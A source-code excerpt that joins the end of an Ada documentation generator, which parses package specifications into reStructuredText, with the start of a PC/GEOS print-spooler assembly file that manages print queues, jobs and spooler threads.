:= Extended_Unit; if Line /= "-- extended unit" and then not Start_With (Line, "-- extended unit specialized for ") and then not Start_With (Line, "-- extended unit, ") then Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, Name); Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, " " & Line); end if; exit; elsif Start_With (Line, "-- generalized unit of ") then Kind := Extended_Unit; Reference := +Line (Line'First + 24 .. Line'Last); exit; elsif Start_With (Line, "-- translated unit from ") then Kind := Extended_Unit; Reference := +Line (Line'First + 25 .. Line'Last); exit; elsif Start_With (Line, "-- runtime") or else Start_With (Line, "-- optional runtime") or else Start_With (Line, "-- overridable runtime") or else Start_With (Line, "-- optional/overridable runtime") then Kind := Runtime_Unit; if Line /= "-- runtime unit" and then not Start_With (Line, "-- runtime unit for ") and then not Start_With (Line, "-- runtime unit specialized for ") and then not Start_With (Line, "-- runtime unit required ") and then Line /= "-- optional runtime unit" and then not Start_With (Line, "-- optional runtime unit specialized for ") and then Line /= "-- overridable runtime unit" and then not Start_With (Line, "-- overridable runtime unit specialized for ") and then Line /= "-- optional/overridable runtime unit" then Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, Name); Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, " " & Line); end if; exit; elsif Start_With (Line, "-- implementation") then Kind := Implementation_Unit; if Line /= "-- implementation unit" and then not Start_With (Line, "-- implementation unit for ") and then not Start_With (Line, "-- implementation unit specialized for ") and then not Start_With (Line, "-- implementation unit required ") and then not Start_With (Line, "-- implementation unit,") -- translated or proposed in AI then Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, Name); Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, " " & Line); end if; exit; elsif Start_With (Line, "-- with") or else Start_With (Line, "-- diff") then null; -- skip else raise Unknown_Unit_Kind_Error with Name & " """ & Line & """"; end if; elsif Start_With (Line, "package") or else Start_With (Line, "procedure") or else Start_With (Line, "function") or else Start_With (Line, "generic") then Kind := Standard_Unit; if Line /= "generic" then Get_Unit_Name (Line, Unit_Name, Is_Private, Rest_Line); end if; exit; end if; end; end loop Detect_Kind; end if; if Unit_Name.Is_Null then Detect_Name : loop if Ada.Text_IO.End_Of_File (File) then raise Unknown_Unit_Name_Error with Name; end if; declare Line : constant String := Ada.Text_IO.Get_Line (File); begin if Line = "private generic" then Is_Private := True; elsif Start_With (Line, "package") or else Start_With (Line, "procedure") or else Start_With (Line, "function") or else Start_With (Line, "private package") or else Start_With (Line, "private procedure") or else Start_With (Line, "private function") or else (Start_With (Line, "generic") and then Line /= "generic") then Get_Unit_Name (Line, Unit_Name, Is_Private, Rest_Line); exit; end if; end; end loop Detect_Name; end if; if Kind = Extended_Unit and then Is_Private then Kind := Implementation_Unit; end if; declare procedure Skip_Formal_Parameters is Closed : Boolean := False; begin loop declare Line : constant String := Ada.Text_IO.Get_Line (File); begin Closed := Closed or else Ada.Strings.Functions.Index_Element (Line, ')') > 0; exit when Closed and then Line (Line'Last) = ';'; end; end loop; exception when Ada.Text_IO.End_Error => raise Parse_Error with Name; end Skip_Formal_Parameters; function Get_Base (Line : String) return String is L : Natural; C : Integer := Ada.Strings.Fixed.Index (Line, " -- "); begin if C <= 0 then C := Line'Last + 1; end if; L := C - 1; if Line (L) = ';' then L := L - 1; elsif Line (L - 1 .. L) = " (" then L := L - 2; if Line (C - 1) /= ';' then Skip_Formal_Parameters; end if; end if; return Line (Line'First .. L); end Get_Base; begin Detect_Instantiantion_Or_Renamed : loop if Rest_Line = " is" or else Rest_Line.Is_Null then Rest_Line := +Ada.Text_IO.Get_Line (File); elsif Rest_Line = ";" then Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " (") then if Rest_Line.Element (Rest_Line.Length) /= ';' then Skip_Formal_Parameters; end if; Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " --") or else Start_With (Rest_Line.Constant_Reference.Element.all, " pragma") or else Start_With (Rest_Line.Constant_Reference.Element.all, "-- pragma") or else Start_With (Rest_Line.Constant_Reference.Element.all, " use type") or else Start_With (Rest_Line.Constant_Reference.Element.all, "-- use") or else Start_With (Rest_Line.Constant_Reference.Element.all, " type") or else Start_With (Rest_Line.Constant_Reference.Element.all, "-- type") or else Start_With (Rest_Line.Constant_Reference.Element.all, " subtype") or else Start_With (Rest_Line.Constant_Reference.Element.all, " procedure") or else Start_With (Rest_Line.Constant_Reference.Element.all, " function") or else Start_With (Rest_Line.Constant_Reference.Element.all, "end") or else Ada.Strings.Unbounded.Index (Rest_Line, " : ") > 0 then exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " return ") then Renamed := +Get_Base (Rest_Line.Slice (1 + 8, Rest_Line.Length)); Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " renames ") then Renamed := +Get_Base (Rest_Line.Slice (1 + 9, Rest_Line.Length)); Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " is new ") then Instantiation := +Get_Base (Rest_Line.Slice (1 + 8, Rest_Line.Length)); Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; elsif Start_With (Rest_Line.Constant_Reference.Element.all, " new ") then Instantiation := +Get_Base (Rest_Line.Slice (1 + 7, Rest_Line.Length)); Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; exit; else raise Parse_Error with Name & " """ & Rest_Line.Constant_Reference.Element.all & """"; end if; end loop Detect_Instantiantion_Or_Renamed; if not Instantiation.Is_Null then declare -- delete the parameters Param_Index : constant Natural := Ada.Strings.Unbounded.Index (Instantiation, " ("); begin if Param_Index > 0 then Ada.Strings.Unbounded.Delete (Instantiation, Param_Index, Instantiation.Length); end if; end; end if; end; declare function Get_Next_Line return String is begin if not Rest_Line.Is_Null then return Result : String := Rest_Line.Constant_Reference.Element.all do Rest_Line := Ada.Strings.Unbounded.Null_Unbounded_String; end return; else return Ada.Text_IO.Get_Line (File); end if; end Get_Next_Line; begin case Kind is when Standard_Unit => declare Added_In_File : Boolean := False; begin while not Ada.Text_IO.End_Of_File (File) loop declare procedure Should_Be_Empty (S, Line : in String) is begin if S'Length > 0 then raise Extended_Style_Error with Name & " """ & Line & """"; end if; end Should_Be_Empty; procedure Process (Block : in Boolean; Line : in String; F : in Integer) is type State_T is (Start, Comment, Code); State : State_T := Start; Indent : Natural := F - Line'First; Skip_F : Integer := 0; Code_F : Integer; Code_Line_Count : Natural := 0; begin if Added_In_File then Ada.Strings.Unbounded.Append (Document, ASCII.LF); end if; Added_In_File := True; while not Ada.Text_IO.End_Of_File (File) loop declare Ex_Line : constant String := Get_Next_Line; Ex_F : Integer := Ada.Strings.Fixed.Index_Non_Blank (Ex_Line); begin if (not Block or else Ex_F > 0) and then Ex_F - Ex_Line'First < Indent and then not Start_With (Ex_Line, "--") then if State = Start then raise Extended_Style_Error with Name & " """ & Ex_Line & """"; end if; exit; elsif Ex_F > 0 and then (Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "-- extended") or else Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "-- modified") or else (Block and then Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "-- to here"))) then Rest_Line := +Ex_Line; exit; end if; if State < Code and then Ex_F - Ex_Line'First = Indent and then Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "-- ") then if Ex_Line (Ex_F + 4) = ' ' then Ex_F := Ada.Strings.Fixed.Index_Non_Blank (Ex_Line, From => Ex_F + 4); Ada.Strings.Unbounded.Append (Document, ' ' & Ex_Line (Ex_F .. Ex_Line'Last)); else if State = Comment then Ada.Strings.Unbounded.Append (Document, ASCII.LF); end if; Ada.Strings.Unbounded.Append (Document, "| " & Ex_Line (Ex_F + 4 .. Ex_Line'Last)); end if; State := Comment; elsif Ex_F > 0 and then Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "pragma") and then not Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "pragma Provide_Shift_Operators (") then Skip_F := Ex_F; elsif Ex_F > 0 and then (Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "with Import") or else Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "with Convention")) then declare Line_First : Integer := Ada.Strings.Unbounded.Index ( Document, Pattern => (1 => ASCII.LF), From => Ada.Strings.Unbounded.Length (Document) - 1, Going => Ada.Strings.Backward) + 1; Insertion_Index : Integer; C : Character; begin if Ada.Strings.Unbounded.Element (Document, Line_First) /= '|' then C := Ada.Strings.Unbounded.Element (Document, Ada.Strings.Unbounded.Length (Document) - 1); if C /= ';' then Insertion_Index := Ada.Strings.Unbounded.Index ( Document, Pattern => " --", From => Line_First); if Insertion_Index = 0 then Insertion_Index := Ada.Strings.Unbounded.Length (Document); end if; Ada.Strings.Unbounded.Insert (Document, Insertion_Index, ";"); end if; end if; end; Skip_F := Ex_F; elsif Start_With (Ex_Line, "-- diff") or else (Ex_F > 0 and then Start_With (Ex_Line (Ex_F .. Ex_Line'Last), "-- pragma")) then null; elsif Skip_F = 0 or else Ex_F <= Skip_F then Skip_F := 0; if State /= Code then if State = Comment then Ada.Strings.Unbounded.Append (Document, ASCII.LF & ASCII.LF); end if; Code_F := Ada.Strings.Unbounded.Length (Document) + 1; Ada.Strings.Unbounded.Append (Document, ".. code-block:: ada" & ASCII.LF & ASCII.LF); State := Code; end if; if Ex_Line'Length = 0 then -- current position is neither start of code-block nor double blank lines if Ada.Strings.Unbounded.Element (Document, Ada.Strings.Unbounded.Length (Document) - 1) /= ASCII.LF and then (Ada.Strings.Unbounded.Element (Document, Ada.Strings.Unbounded.Length (Document) - 2) /= ASCII.LF or else Ada.Strings.Unbounded.Element (Document, Ada.Strings.Unbounded.Length (Document) - 1) /= ' ') then Ada.Strings.Unbounded.Append (Document, ' ' & ASCII.LF); end if; elsif Ex_Line'Length > 0 and then Ex_Line (Ex_Line'First) /= ' ' then Ada.Strings.Unbounded.Append (Document, ' ' & Ex_Line & ASCII.LF); else Ada.Strings.Unbounded.Append (Document, ' ' & Ex_Line (Ex_Line'First + Indent .. Ex_Line'Last) & ASCII.LF); end if; Code_Line_Count := Code_Line_Count + 1; end if; end; end loop; if State = Comment then Ada.Strings.Unbounded.Append (Document, ASCII.LF); elsif State = Code and then Code_Line_Count > 100 then Ada.Strings.Unbounded.Delete (Document, Code_F, Ada.Strings.Unbounded.Length (Document)); Ada.Strings.Unbounded.Append (Document, "*(over 100 lines)*" & ASCII.LF); end if; end Process; Line : constant String := Get_Next_Line; F : Integer := Ada.Strings.Fixed.Index_Non_Blank (Line); begin if F > 0 then if Start_With (Line (F .. Line'Last), "-- extended from here") then Should_Be_Empty (Line (F + 22 .. Line'Last), Line); Process (True, Line, F); elsif Start_With (Line (F .. Line'Last), "-- extended") then Should_Be_Empty (Line (F + 12 .. Line'Last), Line); Process (False, Line, F); elsif Start_With (Line (F .. Line'Last), "-- modified from here") then Should_Be_Empty (Line (F + 22 .. Line'Last), Line); Process (True, Line, F); -- hiding the code elsif Start_With (Line (F .. Line'Last), "-- modified") then Should_Be_Empty (Line (F + 12 .. Line'Last), Line); Process (False, Line, F); elsif Ada.Strings.Fixed.Index (Line, "-- extended") > 0 or else Ada.Strings.Fixed.Index (Line, "-- extended") > 0 then raise Extended_Style_Error with Name & " """ & Line & """"; end if; end if; end; end loop; end; when Extended_Unit => while not Ada.Text_IO.End_Of_File (File) loop declare Line : constant String := Get_Next_Line; F : Integer; begin F := Ada.Strings.Fixed.Index_Non_Blank (Line); if F > 0 and then Start_With (Line (F .. Line'Last), "-- ") and then not Start_With (Line (F .. Line'Last), "-- pragma") then F := F + 4; if Line (F) = ' ' then Ada.Strings.Unbounded.Append (Document, ' '); -- single space F := Ada.Strings.Fixed.Index_Non_Blank (Line, From => F); else if not Document.Is_Null then Ada.Strings.Unbounded.Append (Document, ASCII.LF); end if; Ada.Strings.Unbounded.Append (Document, "| "); end if; Ada.Strings.Unbounded.Append (Document, Line (F .. Line'Last)); else exit; end if; end; end loop; if not Document.Is_Null then Ada.Strings.Unbounded.Append (Document, ASCII.LF); end if; when Runtime_Unit | Implementation_Unit => null; end case; end; Ada.Text_IO.Close (File); if Extendeds.Contains (Unit_Name.Constant_Reference.Element.all) then Check : declare Position : Doc_Maps.Cursor := Extendeds.Find (Unit_Name.Constant_Reference.Element.all); begin if Extendeds.Constant_Reference (Position).Element.File_Name /= Ada.Directories.Simple_Name (Name) or else Extendeds.Constant_Reference (Position).Element.Kind /= Kind or else Extendeds.Constant_Reference (Position).Element.Renamed /= Renamed or else Extendeds.Constant_Reference (Position).Element.Instantiation /= Instantiation or else Extendeds.Constant_Reference (Position).Element.Reference /= Reference or else (Extendeds.Constant_Reference (Position).Element.Document /= Document and then Unit_Name /= "Ada.Directories.Information") then raise Mismatch_Error with Name; end if; end Check; else Insert : declare function New_Key return String is begin return Unit_Name.Constant_Reference.Element.all; end New_Key; function New_Element return Unit_Contents is begin pragma Assert (Name (Name'First .. Name'First + 2) = "../"); return ( File_Name => +Ada.Directories.Simple_Name (Name), Relative_Name => +Name (Name'First + 3 .. Name'Last), Kind => Kind, Renamed => Renamed, Instantiation => Instantiation, Reference => Reference, Document => Document); end New_Element; begin if Kind = Extended_Unit or else not Document.Is_Null then Doc_Maps.Insert (Extendeds, New_Key'Access, New_Element'Access); end if; end Insert; end if; end Process_Spec; procedure Process_Dir (Path : in String) is S : Ada.Directories.Search_Type; E : Ada.Directories.Directory_Entry_Type; begin Ada.Directories.Start_Search ( S, Path, "*.ads", Filter => (Ada.Directories.Ordinary_File => True, others => False)); while Ada.Directories.More_Entries (S) loop Ada.Directories.Get_Next_Entry (S, E); Process_Spec (Ada.Directories.Compose (Path, Ada.Directories.Simple_Name (E))); end loop; Ada.Directories.End_Search (S); Ada.Directories.Start_Search ( S, Path, Filter => (Ada.Directories.Directory => True, others => False)); while Ada.Directories.More_Entries (S) loop Ada.Directories.Get_Next_Entry (S, E); Process_Dir (Ada.Directories.Compose (Path, Ada.Directories.Simple_Name (E))); end loop; Ada.Directories.End_Search (S); end Process_Dir; begin Process_Dir ("../source"); Ada.Text_IO.Put_Line (".. contents::"); Ada.Text_IO.New_Line; declare procedure Output_Unit (I : in Doc_Maps.Cursor) is Unit_Name : String renames Doc_Maps.Key (I).Element.all; Contents : Unit_Contents renames Extendeds.Constant_Reference (I).Element.all; begin Ada.Text_IO.Put_Line (Unit_Name); Ada.Text_IO.Put_Line ((1 .. Unit_Name'Length => '-')); Ada.Text_IO.New_Line; Ada.Text_IO.Put_Line (":file: `" & Contents.File_Name.Constant_Reference.Element.all & " <" & Prefix & Contents.Relative_Name.Constant_Reference.Element.all & ">`_"); if not Contents.Renamed.Is_Null then Ada.Text_IO.Put_Line (":renames: `" & Contents.Renamed.Constant_Reference.Element.all & "`"); end if; if not Contents.Instantiation.Is_Null then Ada.Text_IO.Put_Line (":instantiation: `" & Contents.Instantiation.Constant_Reference.Element.all & "`"); end if; if not Contents.Reference.Is_Null then Ada.Text_IO.Put_Line (":reference: `" & Contents.Reference.Constant_Reference.Element.all & "`"); end if; Ada.Text_IO.New_Line; if not Contents.Document.Is_Null then Ada.Text_IO.Put_Line (Contents.Document.Constant_Reference.Element.all); end if; end Output_Unit; begin Ada.Text_IO.Put_Line ("Standard packages"); Ada.Text_IO.Put_Line ("*****************"); Ada.Text_IO.New_Line; declare I : Doc_Maps.Cursor := Extendeds.First; begin while Doc_Maps.Has_Element (I) loop if Extendeds.Constant_Reference (I).Element.Kind = Standard_Unit then Output_Unit (I); end if; Doc_Maps.Next (I); end loop; end; Ada.Text_IO.Put_Line ("Additional packages"); Ada.Text_IO.Put_Line ("*******************"); Ada.Text_IO.New_Line; declare I : Doc_Maps.Cursor := Extendeds.First; begin while Doc_Maps.Has_Element (I) loop if Extendeds.Constant_Reference (I).Element.Kind = Extended_Unit then Output_Unit (I); end if; Doc_Maps.Next (I); end loop; end; end; end ext_doc;
Library/Spool/Process/processUtils.asm
steakknife/pcgeos
504
9705
<gh_stars>100-1000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: System Spooler FILE: processUtils.asm AUTHOR: <NAME>, 9 March 1990 REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 3/13/90 Initial revision DESCRIPTION: This file contains the code to implement the printer job queues $Id: processUtils.asm,v 1.1 97/04/07 11:11:17 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ QueueManagement segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AllocPrintQueue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocates and initializes print queue buffer CALLED BY: INTERNAL SpoolAddJob PASS: queueSemaphore down RETURN: ax - segment of locked print queue block DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; alloc enough for minimum queue, round up to 16-byte bound INITIAL_QUEUE_SIZE equ <(((size PrintQueue + size QueueInfo + size JobInfoStruct + size JobParameters + 8 + 15)/16)*16)> QUEUE_HEAP_SIZE equ <INITIAL_QUEUE_SIZE - size PrintQueue> AllocPrintQueue proc near uses cx, dx, ds .enter ; alloc a buffer for the thing mov ax, INITIAL_QUEUE_SIZE ; init size mov bx, handle 0 ; set owner to spool mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK or mask HF_SHARABLE call MemAllocSetOwner call HandleP ; Own block too mov ds, ax ; ds -> block ; it's an LMem managed block so do the init thing mov dx, size PrintQueue ; offset to heap mov ax, LMEM_TYPE_GENERAL ; just general type mov cx, QUEUE_HEAP_SIZE ; initial heap size push si, di, bp mov si, 2 ; alloc two handles clr di clr bp call LMemInitHeap ; init the block pop si, di, bp ; initializing other things clr ax mov ds:[PQ_numQueues], ax ; no queues yet mov ds:[PQ_numJobs], ax ; no jobs yet mov ds:[PQ_firstQueue], ax ; no queues yet mov ax, ds ; return segment in ax mov cx, dgroup mov ds, cx mov ds:[queueHandle], bx ; save handle .leave ret AllocPrintQueue endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindRightQueue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the queue that's right for the job CALLED BY: INTERNAL SpoolAddJob PASS: ds - segment address of locked/owned PrintQueue es:si - pointer to PrintPortInfo for queue RETURN: bx - handle to the right queue or 0 if no queue allocated for this device DESTROYED: nothing PSEUDO CODE/STRATEGY: Follow the queue chain, comparing device names. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindRightQueue proc near uses di, si, es, cx .enter ; if there aren't any queues yet, then bail clr bx ; assume this is first one cmp ds:[PQ_numQueues], 0 ; any here ? jz done ; no, finished ; start at the beginning. Search, search, search... mov bx, ds:[PQ_firstQueue] ; get chunk to first one searchLoop: mov di, ds:[bx] ; get pointer to next one mov cx, ds:[di].QI_portInfo.PPI_type cmp cx, es:[si].PPI_type ; same type? if not, bail jne nextOne ; else check port number cmp cx, PPT_CUSTOM je checkCustom cmp cx, PPT_PARALLEL ; parallel or serial ?? ja done ; if not, only one queue exists mov cx, ds:[di].QI_portInfo.PPI_params.PP_serial.SPP_portNum cmp cx, es:[si].PPI_params.PP_serial.SPP_portNum je done ; if we found it, we're done nextOne: mov bx, ds:[di].QI_next ; get pointer to next one tst bx ; at end of list ? jnz searchLoop ; else keep looking done: ; handle (or zero) is is BX .leave ret checkCustom: ; Compare all the CPP_info bytes of the two to see if this is ; the right queue to use. push si, cx, di add di, offset QI_portInfo.PPI_params.PP_custom.CPP_info add si, offset PPI_params.PP_custom.CPP_info xchg si, di mov cx, size CPP_info/2 repe cmpsw if size CPP_info and 1 jne 10$ cmpsb 10$: endif pop si, cx, di jne nextOne jmp done FindRightQueue endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InsertJobIntoQueue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enter a filled out job structure into a print queue CALLED BY: INTERNAL CreateThreadStart PASS: ax - chunk handle of job info bx - chunk handle of queue to insert into ds - segment of locked/owned PrintQueue RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 01/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InsertJobIntoQueue proc near uses ax, bx .enter ; dereference the queue handle. If there are no jobs yet, ; just make this one the current job. Else follow the chain ; until we hit the end. mov bx, ds:[bx] ; ds:bx -> queue info block cmp ds:[bx].QI_curJob, 0 ; any jobs in the queue ? jne followChain ; yes, follow the chain mov ds:[bx].QI_curJob, ax ; store the job handle clr ax mov ds:[bx].QI_fileHan, ax ; clear out all the other info mov {word} ds:[bx].QI_filePos, ax mov {word} ds:[bx].QI_filePos+2, ax mov ds:[bx].QI_curPage, ax exit: .leave ret ; at least one job is in the queue, follow the links followChain: mov si, ds:[bx].QI_curJob linkLoop: mov si, ds:[si] ; dereference next handle cmp ds:[si].JIS_next, 0 ; is this the end ? je foundIt ; yes, finish up mov si, ds:[si].JIS_next ; no, get next link jmp linkLoop foundIt: mov ds:[si].JIS_next, ax ; save link jmp exit ; all done InsertJobIntoQueue endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MapJobIDtoHandle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return a job chunk handle given a jobID CALLED BY: INTERNAL SpoolDelJob... PASS: cx - jobID ds - locked/owned PrintQueue RETURN: bx - job chunk handle - zero if no match found DESTROYED: nothing PSEUDO CODE/STRATEGY: given a unique job id, map it to the chunk handle for the desired job for each queue for each job in the queue if (jobIDs match) return current job handle KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 10/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MapJobIDtoHandle proc near uses si,di,ax .enter mov bx, ds:[PQ_firstQueue] ; for each queue... nextQueueInBlock: tst bx ; if no queues, exit jz exit mov si, ds:[bx] ; ds:si -> queue mov di, ds:[si].QI_curJob ; get current job pointer nextJobInQueue: tst di ; jz nextQueue mov ax, di ; save job handle mov di, ds:[di] ; ds:di -> job GetJobID ds,di,bx cmp cx,bx jne nextJob mov bx, ax ; return job handle jmp exit nextJob: mov di, ds:[di].JIS_next ; get next job handle jmp nextJobInQueue nextQueue: mov bx, ds:[si].QI_next ; on to next queue jmp nextQueueInBlock exit: .leave ret MapJobIDtoHandle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendJobNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send method to process notifying it that a job has been added to or removed from a queue CALLED BY: SpoolAddJob(), SpoolDelJob() PASS: *DS:BX - JobInfoStruct of job in queue AX - Message to be sent to process RETURN: nothing DESTROYED: AX PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 10/18/90 Initial version don 5/27/92 Combined removed & added routines %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendJobAddedNotification proc far mov ax, MSG_SPOOL_JOB_ADDED GOTO SendJobNotification SendJobAddedNotification endp SendJobRemovedNotification proc far mov ax, MSG_SPOOL_JOB_REMOVED FALL_THRU SendJobNotification SendJobRemovedNotification endp SendJobNotification proc far uses bx, cx, dx, di, bp, si .enter mov di, ds:[bx] GetJobID ds, di, cx mov di, ds:[di].JIS_queue mov di, ds:[di] mov dx, ds:[di].QI_portInfo.PPI_type mov bp, ds:[di].QI_portInfo.PPI_params.PP_serial.SPP_portNum push ax, di, bx mov bx, handle 0 ; sending it to ourself mov di, mask MF_FORCE_QUEUE call ObjMessage pop ax, di, bx ; ; Now cope with notifying the system GCN list, when the job is removed. ; cmp ax, MSG_SPOOL_JOB_REMOVED jne done mov dx, cx ; dx <- job ID, always mov al, ds:[di].QI_error mov cx, PSCT_COMPLETE ; assume successful cmp al, SI_KEEP_GOING je sendToGCN mov cx, PSCT_ERROR ; nope -- maybe error? cmp al, SI_ERROR je sendToGCN mov cx, PSCT_CANCELED ; nope -- was canceled cmp al, SI_DETACH jne sendToGCN ; ; Don't send out canceled notification on detach unless job is ; actually being canceled due to the detach; the thing is just ; suspended, so notification isn't appropriate. ; mov bx, ds:[bx] test ds:[bx].JIS_info.JP_spoolOpts, mask SO_SHUTDOWN_ACTION jz done sendToGCN: mov bx, MANUFACTURER_ID_GEOWORKS mov si, GCNSLT_PRINT_JOB_STATUS mov ax, MSG_PRINT_STATUS_CHANGE mov di, mask GCNLSF_FORCE_QUEUE call GCNListRecordAndSend done: .leave ret SendJobNotification endp QueueManagement ends idata segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AllocDeviceQueue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Alloc a queue for a specific device CALLED BY: INTERNAL SpoolAddJob PASS: *ds:si - chunk handle of job info block for job to start queue for (in locked/owned PrintQueue block) RETURN: ds - still points at PrintQueue, but may have changed value bx - handle of allocated queue - zero if unable to create thread DESTROYED: es PSEUDO CODE/STRATEGY: Alloc a chunk for the info, init the info. Update the affected PrintQueue variables KNOWN BUGS/SIDE EFFECTS/IDEAS: This function is in IDATA so that the thread creation is done from a fixed block. This minimizes the possibility that ThreadCreate is called from a movable (locked) block that is right above the FIXED part of the heap. REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AllocDeviceQueue proc near uses ax, cx, dx, di, si, bp .enter ; allocate & initialize the queue chunk call AllocDeviceQueueLow ; start up the thread that will be associated with the ; queue. It is OK to do this now, since the first thing ; that the thread will do is try to PLock the PrintQueue ; buffer, which is currently owned by this thread. We ; won't release it until we've initialized everything, so ; we're OK. tryCreateThread: push bx ; save queue handle push di ; preserve frame ptr mov cx, dgroup ; starting address for thread mov dx, offset dgroup:SpoolThreadBirth mov al, PRIORITY_LOW ; start things off in backgrnd mov di, SPOOL_THREAD_STACK_SIZE mov bp, handle 0 ; have spooler own them call ThreadCreate jnc threadOK ; allocated things ok ; some problem allocating a stack for the thread, try again mov ax, 30 ; sleep for a while call TimerSleep ; mov al, PRIORITY_LOW ; don't need high priority call ThreadCreate ; try again jc threadCreateError ; if error, deal with it ; success - store the thread handle threadOK: pop di ; restore frame ptr mov ds:[di].QI_thread, bx ; save thread handle pop bx ; restore queue handle if _DUAL_THREADED_PRINTING push bx mov ax, size PrintThreadInfo mov cx, (mask HF_SHARABLE or mask HF_FIXED) or \ (mask HAF_ZERO_INIT or mask HAF_NO_ERR) shl 8 call MemAlloc ; bx <- PrintThreadInfo handle mov es, ax ; create semaphores for synchronizing threads push bx mov bx, 1 call ThreadAllocSem mov es:[PTI_dataSem], bx mov bx, 1 call ThreadAllocSem mov es:[PTI_printSem], bx pop bx ; allocate print thread push bx, di mov al, PRIORITY_LOW mov cx, vseg PrintThreadPrintSwaths mov dx, offset PrintThreadPrintSwaths mov di, 500 ; small stack mov bp, handle 0 ; have spooler own them call ThreadCreate pop bx, di jnc pThreadOK ; couldn't create print thread. free semaphores and mem block. push bx mov bx, es:[PTI_dataSem] call ThreadFreeSem mov bx, es:[PTI_printSem] call ThreadFreeSem pop bx call MemFree jmp noPrintThread pThreadOK: mov ds:[di].QI_printThreadInfo, bx noPrintThread: pop bx endif ; 